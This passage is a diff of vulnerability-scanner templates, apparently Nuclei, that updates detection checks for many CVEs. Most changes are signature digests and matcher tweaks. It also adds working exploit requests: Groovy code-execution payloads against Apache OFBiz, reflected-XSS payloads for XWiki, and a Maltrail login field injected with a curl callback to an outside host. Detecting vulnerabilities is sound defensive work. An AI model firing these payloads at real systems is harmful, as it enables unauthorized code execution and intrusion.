+# digest: 4b0a004830460221008a783b68f07a839787c01fd5fa7000d55c7931571e1872433f3477a6d94c276a022100c52719f47fc5a37749ecb73ec16c4c536d61bfb4eaff4043e80983aa0d244a87:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 490a004630440220385a61876dec7ba148d505d88508f45b5ce834b45b022ac0eb9e456c68a8998402202b0dd492150ef736a001625f18ef144e275aa30c84df5ebdc31ba8008c32de86:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220493622d9df516c2e240732ee8774e2d9fbdc23effe742b4f9c0df4ef02469c2f0220489f31cdf5e3e63ae22341b2d2226b3210f0ec86cd250e2b74a7dda61352e35c:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a004730450220750bbeee28c01c156e232d16d3bfa6e9a0a603ec692406078812c957c67c51c2022100b196d0c61d7389ae867329ae9c5637281a72b95e25805c4105ca9f1cb297041b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cc6e872c9d3f3dfbad262a1475eef14e7daacef7d92ccd6c32489995f659c51e02205f48d798a4c9f001154362de6bf58723a7b0fbd164dc72b41f7af93037efa329:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 490a00463044022028638b24318dd7aa15951848156efb961ae5996e74573d6d6e2151629fb7a2f402200d0ce40e0edbce840848fb3fb8c9c96e9f0a63bd8c17030c4cadff9e1a3cc6eb:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008f6b43398464e47dd3055d2048ab8cb06f0e04d0796efc2c295689cc74b5e05d022100923a7792076797359f72eeb89260b7017f766be6619c1083952d82d02332a665:922c64590222798bb761d5b6d8e72950
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 490a0046304402207ec3675142ea54eba24bb1d3ea2200da9e545a394f493e8cca8ff6d641094d6f0220485434b9d8790d8fa4d87f1f7cc96ddfce8d367bc957b827c5fb4168c057e330:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202394a48a37222205f71d4eec71abc948a0c94f1d832866b0c622e1334f1a9d3f02202dc99e406cb015ae19247a387b9063ac363e05168708ffae7c5d265b92d105a5:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4b0a00483046022100f33b5ec60be07a1b08181eeeade7ec1814419919827946fe8f7d1d7a3e05549f022100bb59b14f567cc301ddda026101ee360844b4af5fd38642a07a8b5ec007b33eb0:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220740a8af7ee61218b72ab6152cc4dd25eda09505131ca5a0a9ad8ce6c9b160df30220687fb97327148c5919feb0d7d89d42d252fe36c6a97a0597975423490928f018:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 490a004630440220674720e408a075e9b78fa5ad345aa05ba98f92802f842bfa28e956874542ce9702207e71c3ceebfe747143729fcc939c868d68f02f22cf4d4cb516462d1a2f32cba6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b35aa66ca0e28ac7878811473bb7c493b58894700ffd618f9d46fbc4c95794c802202aa4fb77f4656b22f7934f3565b397feed13288233b90139f3f780336d0816c1:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200d8882c5c0d5ff06849dcd1254ffd48198b37800e07aa10ad1b4b136bf191368022100f25b19b2fecd8dee65c78ff06f219bafd8cbc2f97496bedb2fd92c678e02d232:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c1c150c6904d50fe2bc5aa832307ae8e3cb4d1a183ba105a26c475a10defa71022100c272077a4ee827b5aa42e07d5175a596861f036c01c93d65193705a2a7d95ca1:922c64590222798bb761d5b6d8e72950
@@ -26,28 +26,12 @@ info:
    cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 13
+    max-request: 11
    vendor: dompdf
    product: dompdf
  tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/dompdf.php"
-      - "{{BaseURL}}/wp-content/plugins/"
-
-    stop-at-first-match: true
-    matchers:
-      - type: word
-        words:
-          - "dompdf"
-          - "WordPress"
-        condition: or
-        internal: true
-
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
@@ -84,4 +68,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402203bc21c7c47e546a7ccc90b69767df70aa72f9f971cb4bc33461068f016e9791d02205576cdeddbf47e6aebc80f6b38a4867f75eee62fc8c913c56f5c471a40ccaa03:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205d82becf643833d4b9341c7221207dfbaf919c446a3ae51f3cf0cbe4764ec80c02206230e2c9f6e4c4f06543a57b1e475287cdf463313a438e2a48965b0e38420486:922c64590222798bb761d5b6d8e72950
@@ -25,28 +25,13 @@ info:
    epss-percentile: 0.99889
    cpe: cpe:2.3:a:embedthis:goahead:*:*:*:*:*:*:*:*
  metadata:
-    max-request: 66
+    max-request: 65
    vendor: embedthis
    product: goahead
    shodan-query: cpe:"cpe:2.3:a:embedthis:goahead"
  tags: cve,cve2017,rce,goahead,fuzz,kev,vulhub,embedthis

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET /cgi-bin/ HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "GoAhead"
-          - "cgi-bin"
-        condition: or
-        internal: true
-
  - raw:
      - |
        GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1
@@ -133,4 +118,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220439368ea57fa7f2780d0f62691dea8bda8f6732b6a9a7567ca070068b7f5dbb1022010e0d2939d9cabcc856f6eeede1b167f8ca2934368dfe9f1e8dbab824255ae64:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203a7e096250a50c662d7820b4b338738bd80e1372cc387c105694bda9fd8f6775022100f98f43865fb1b92e478c78a23b7855817af7c8ca0ac93071177a0aacc792e9d7:922c64590222798bb761d5b6d8e72950
@@ -51,13 +51,10 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: header
@@ -67,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022038148b2806c69fd7c7b3e43406b6413317c7bf2ce6b6370d154fe544630691f7022100e7b18c5423e5761926e7e9d4e3cc779b2bcc61b3bf13cf36e8317068bc75d6d1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202b5965d1f9657cf348e7aea47e2007b879e608dca02c820d132fb69833ee3660022038c622e8bac583966ca9c3c1266044473d44129139614b76b15b9a12236bd7e6:922c64590222798bb761d5b6d8e72950
@@ -42,15 +42,12 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body_2
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
-# digest: 4a0a004730450220701de468852a0308df5f7800f563dc37c7f3432ca6e55abac496c4d34922d29f022100973b8b2b48edfe2215098955ff483b59db2679a2791461ff49619f3e75c4da92:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204a6c2a72cf9ab669b4057a3e7b7529a4d51070e269524f659d0d42b15df0eb34022100ba31cf450bbea11b53ebbb61099479c73218a0d3dde7c31fd8b59346058d571f:922c64590222798bb761d5b6d8e72950
@@ -42,15 +42,12 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body_2
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100b0c0e18a1378d60acf899f6c700882fd541ba798098b5f3bd7017ffe9476d0950221008f3bc39eb882368273a7148c4e10921741f747a83a52fd1a4aa11706aa9cd83c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206cd1c074ded9e86d901d01fe853c6f9a2c5e36669c72c9982a97b6b1c6772e0d022100e0b3cef49f9d99129ddcc81b83b4f4e6b9990285cf9957a34f59e13f6282faa7:922c64590222798bb761d5b6d8e72950
@@ -24,7 +24,7 @@ info:
    epss-percentile: 0.99978
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
-    max-request: 14
+    max-request: 13
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
@@ -33,23 +33,7 @@ info:
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "confluence"
-          - "atlassian"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
@@ -86,4 +70,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100a807b024f4b6572ef0dce68722732d5456c3be172d674203507ed1782554416c022011cb466b80d76646f00c05fc1ef32b008157e2683b7082cd57579959d540ff51:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207e20dc010a7d2c3f73b40ee2c85718de70c646b8653183e5e0fc187e0ce3cfa90220058afa37e678b21514632f505b8c3e997470d42233965402a0826f6c8dfe51cd:922c64590222798bb761d5b6d8e72950
@@ -2,10 +2,10 @@ id: CVE-2022-1595

 info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
-  author: theamanrawat
+  author: theamanrawat,oleveloper
  severity: medium
  description: |
-    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
+    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
@@ -21,12 +21,8 @@ info:
    epss-percentile: 0.94408
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
-    verified: true
    max-request: 1
-    vendor: "hc_custom_wp-admin_url_project"
-    product: "hc_custom_wp-admin_url"
-    framework: wordpress
-  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,hc_custom_wp-admin_url_project
+  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url

 http:
  - raw:
@@ -35,11 +31,19 @@ http:
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

+    matchers-condition: and
    matchers:
-      - type: dsl
-        dsl:
-          - "status_code == 302"
-          - "contains(header, 'wordpress_')"
-          - "contains(header, 'Location')"
-        condition: and
-# digest: 4a0a00473045022007e840c0269957fcd1f9d951671089bda90fc2957ed36efbf9c9e5e01723cc0b022100870fb0ff8950d25f12f3ca53d1dca0402d40a56f673edd3b3fb070f285e0704c:922c64590222798bb761d5b6d8e72950
+      - type: regex
+        part: header
+        regex:
+          - "(?i)Set-Cookie:.*wordpress_logged_in_"
+
+      - type: regex
+        part: header
+        regex:
+          - "(?i)Location:.*(/wp-admin/|/[^/]+/wp-login\\.php)"
+
+      - type: status
+        status:
+          - 302
+# digest: 4b0a00483046022100b0eddd8f8322482719cd269a061c43122645c8fedfe99dd448d5683b4574dc9a022100efe4cd6fdffc0327e24b1481f1d17d4a8f0a018dcaf5323a636bf9b519e5a312:922c64590222798bb761d5b6d8e72950
@@ -24,28 +24,13 @@ info:
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
-    max-request: 101
+    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-json/wp/v2/"
-
-    matchers:
-      - type: word
-        words:
-          - "sensei"
-          - "wp-json"
-        condition: or
-        internal: true
-
-  - method: GET
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"
@@ -71,4 +56,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100cebaa957b132af956ee743a6ccb602385ae92da05941df4dd57c9f45148aace802204fffed9eb8dd73ecc5b1f6853ca94db221fb66883edf87d1aad2a8b5ce6dbf67:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d42245a4b7f6ac4bea7e66161d020c049dc730615bd1ffd40aef1dbcd8a2ac3b02200b098b1a2384123f15462721e854c55a91d47f09c0c612e41e3705d4591a4ec7:922c64590222798bb761d5b6d8e72950
@@ -26,7 +26,7 @@ info:
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 257
+    max-request: 256
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query:
@@ -38,11 +38,10 @@ info:
 variables:
  fileName: '{{rand_base(8)}}'

-flow: http(1) && http(2)
-
 http:
  - raw:
      - |
+
        GET / HTTP/1.1
        Host: {{Hostname}}

@@ -55,7 +54,6 @@ http:
        condition: or
        internal: true

-  - raw:
  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
@@ -83,4 +81,4 @@ http:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
-# digest: 490a0046304402207b58368de2b51346aa7fc84d165da14a5ea7619d23bfb3cd396b3a87082147a4022015919596fc5fb7cfd2e3a52319098b4c20d075d63587ef74ec5de64934b65d10:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022038b2a8ca83500a3604488ebf9829007a92dce8e6060f51c5dabd583bb3f58cb8022100a7eb2546c9724adc33c048d65367cb87b6d2c7a00bf6b3e77494800631c9f303:922c64590222798bb761d5b6d8e72950
@@ -25,7 +25,7 @@ info:
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 46
+    max-request: 45
    vendor: apache
    product: superset
    shodan-query:
@@ -37,23 +37,7 @@ info:
      - icon_hash=1582430156
  tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "Apache Superset"
-          - "superset"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /api/v1/database/{{path}} HTTP/1.1
@@ -93,4 +77,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100b23fa8461bf42acee70160fa29dfac5eb45d30c418efec15b972a716b0eaef7502201000194e3de652714974afd8cf64483697fbb703e52e784b56b6baafb6097ae5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200cb2611794cdcfd164580341ce71e244161bc8b6721fd832f60c1fc1055fe428022100c6629fe61173f1f52de6b1d985ee5a98cd3abb92bb079dbce0cd65ddf72c35bf:922c64590222798bb761d5b6d8e72950
@@ -24,7 +24,7 @@ info:
    cpe: cpe:2.3:a:gitlab:gitlab:16.0.0:*:*:*:community:*:*:*
  metadata:
    verified: true
-    max-request: 17
+    max-request: 16
    vendor: gitlab
    product: gitlab
    shodan-query:
@@ -37,23 +37,7 @@ info:
 variables:
  data: "{{rand_base(5)}}"

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "GitLab"
-          - "gitlab"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
@@ -231,4 +215,4 @@ http:
          - '"url":"\/uploads\/([0-9a-z]+)\/'
        internal: true
        part: body
-# digest: 4a0a00473045022100c3a0188143213dfd2f20284c15140a18d349b3ef0068d203081023388a6dce6e022028a3158b1dc6ed2772340bbd48004786e236e32513f588699f2ab5b3e0aea750:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a8e01bd9de0cc1ea447f44059a40c0f926cad83117e21550c9775ab1a6c3b1ea02201696a8331f74b53a642052c0bec140c307a6ba2c1098cbc720d31aee7c0fa1f8:922c64590222798bb761d5b6d8e72950
@@ -24,7 +24,7 @@ info:
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 12
+    max-request: 11
    vendor: alkacon
    product: opencms
    shodan-query:
@@ -36,22 +36,7 @@ info:
    google-query: intitle:"opencms"
  tags: cve2023,cve,opencms,xss,alkacon

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-
-    matchers:
-      - type: word
-        words:
-          - "OpenCms"
-          - "opencms"
-        condition: or
-        internal: true
-
-  - method: GET
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
@@ -87,4 +72,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022042abc20b1e570314f15fd86b428ac9382d57e03243f10db661faa38e076f6012022100ab68bc6291dc71fb3fc6da612331a317e655620ebd162e7c33bc156c27cd2c99:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bd519be691e331b047e373ee7359f78798681506af39f26df028d472fd77285e022100da36570f6be28fa91bc9c3961ce98fa1f5172d1e4bde77201cecb88b95c12cee:922c64590222798bb761d5b6d8e72950
@@ -1,11 +1,13 @@
 id: CVE-2024-36104

 info:
-  name: Apache OFBiz - Path Traversal
+  name: Apache OFBiz - Directory Traversal & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.
+  impact: |
+    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/06/03/1
    - https://issues.apache.org/jira/browse/OFBIZ-13092
@@ -22,11 +24,12 @@ info:
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 1
+    max-request: 2
    fofa-query: app="Apache_OFBiz"
+    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
-  tags: cve,cve2024,apache,obiz,lfi
+  tags: cve,cve2024,apache,ofbiz,lfi

 http:
  - raw:
@@ -37,12 +40,21 @@ http:

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

+      - |
+        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
+
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
+          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+        condition: or

      - type: word
        part: body
@@ -52,4 +64,3 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a2d5c8cc6d7267c0909232012c3fd6f87edc5ec8a9d48c857d01f957510257b2022100b31add5960f654e7c4e34199c1d47e962ed51a783c58128ab53cffdc4e0018dc:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220480b609957640c9108a6845b6a11e2a6279f8445854bccd790c2216a015913d20221009eb2ec70bb4706896b5e0214732502a216429bc252b1cbf634a84e60c26d59bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008a90bf21bc0472c9480544de5221edb035aad7c7bf69478ffb834be48d79555f02206c5a1bfc6b1f0dad72c50dab0af40d09dfe6f50694ee1ccd276c62e7fa6a1c45:922c64590222798bb761d5b6d8e72950
@@ -1,11 +1,13 @@
 id: CVE-2024-38856

 info:
-  name: Apache OFBiz - Remote Code Execution
+  name: Apache OFBiz - Improper Authorization & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
-    Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
+    Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
+  impact: |
+    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter%E7%BB%95%E8%BF%87%E5%88%B0rce/
    - https://issues.apache.org/jira/browse/OFBIZ-13128
@@ -13,16 +15,21 @@ info:
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
-    epss-score: 0.94366
-    epss-percentile: 0.99957
+    cve-id: CVE-2024-32113
+    cvss-score: 9.8
+    cwe-id: CWE-22
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    epss-score: 0.93490
+    epss-percentile: 0.99819
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 1
+    max-request: 2
    fofa-query: app="Apache_OFBiz"
+    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
-  tags: cve,cve2024,ofbiz,apache,rce,kev
+  tags: cve,cve2024,apache,ofbiz,rce,kev

 http:
  - raw:
@@ -33,12 +40,21 @@ http:

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

+      - |
+        POST /webtools/control/main/ProgramExport HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
+
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
+          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+        condition: or

      - type: word
        part: body
@@ -48,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022017abae5c23708789e69056ac955d01f6bc60b38c5a5932a8b8f5e9044997c37002204a50e7dc3179dff2a73963f388cc0bfb50548dcfdceafc10fea41f14ae3c4cda:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203100c0a829b37f782e358409a1f5cfd8cfff093a0942997231028551d5506d1c022100b428a793dae5e4b3daf73b997fd0afe7806d592864c4fafec53aa85c7e9ec74f:922c64590222798bb761d5b6d8e72950
@@ -59,4 +59,4 @@ http:
        part: header
        words:
          - "text/javascript"
-# digest: 4b0a00483046022100ff4db1fdb08b27a7e68d70a66478e08324ded14272c0db20a6233b3aeb661742022100b8370df379a42532596f74f47f1c6cf6e4da04840cc75f589faa9994165c0e0e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fd4b75730947af38dcee673a6996c170d8255a8156e5ec5a4652d0be67f80b83022100e8f2e0581c7e8c6fe0561d263c5e91e70dea7da42558161650312da1f3c4eb7d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,53 @@
+id: CVE-2025-32430
+
+info:
+  name: XWiki Platform - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    XWiki Platform versions >= 4.2-milestone-3 and < 16.4.8, >= 16.5.0-rc-1 and < 16.10.6, and >= 17.0.0-rc-1 and < 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.
+  reference:
+    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m9x4-w7p9-mxhx
+    - https://jira.xwiki.org/browse/XWIKI-23096
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32430
+  classification:
+    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
+    cvss-score: 6.5
+    cve-id: CVE-2025-32430
+    cwe-id: CWE-79
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: xwiki
+    product: xwiki-platform
+    shodan-query: http.html:"data-xwiki-reference"
+    fofa-query: body="data-xwiki-reference"
+  tags: cve,cve2025,xwiki,xss
+
+http:
+  - raw:
+      - |
+        GET /xwiki/bin/view/Main/?xpage=job_status_json&jobId=asdf&translationPrefix=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /xwiki/bin/view/Main/?xpage=distribution&extensionId=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&extensionVersionConstraint=%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<img src=1 onerror=alert(document.domain)>.notFound'
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 404
+# digest: 4a0a00473045022100b652cae0e1d5a0002a666e8f4fb79e4c1aea8a8416189f573dd51bffca16f00302205da5ae3b6025cb311295b4caf20005bd592cfa4f9554c48e7710bbf1043acb14:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,35 @@
+id: CVE-2025-34073
+
+info:
+  name: Maltrail <=0.54 Username Parameter -  Remote Command Execution
+  author: SeungAh-Hong
+  severity: critical
+  description: |
+    Maltrail versions <=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.
+  reference:
+    - https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87
+    - https://vulncheck.com/advisories/stamparm-maltrail-rce
+    - https://github.com/stamparm/maltrail/issues/19146
+    - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/http/maltrail_rce.rb
+  metadata:
+    max-request: 1
+    shodan-query: http.title:"Maltrail"
+    fofa-query: app="Maltrail"
+  tags: cve,cve2025,maltrail,rce,unauth,oss
+
+http:
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=;`curl http://{{interactsh-url}}`
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(header, "Maltrail")'
+          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
+        condition: and
+# digest: 4b0a00483046022100b6cb29e1be26b66ef70b5fe49d9d0f66de28b03f334d700f770936c37794fbc90221008118e7b969383762eab736c41540f15bdd9e2f0627dede0ba5d6ed0bed34e851:922c64590222798bb761d5b6d8e72950
@@ -7,8 +7,10 @@ info:
  description: |
    An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
